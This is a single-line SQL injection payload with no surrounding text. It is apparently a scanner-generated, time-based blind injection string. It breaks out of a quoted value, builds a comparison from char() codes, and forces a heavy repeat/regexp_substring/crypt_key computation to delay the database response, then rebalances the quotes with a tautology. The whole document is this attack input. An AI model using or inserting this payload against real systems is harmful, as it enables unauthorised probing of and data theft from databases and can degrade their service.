1' and char  (  111  )  ||char  (  77  )  ||char  (  121  )  ||char  (  88  )    =  regexp_substring  (  repeat  (  left  (  crypt_key  (  char  (  65  )  ||char  (  69  )  ||char  (  83  )  ,null  )  ,0  )  ,500000000  )  ,null  )   and 'jjxn'  =  'jjxn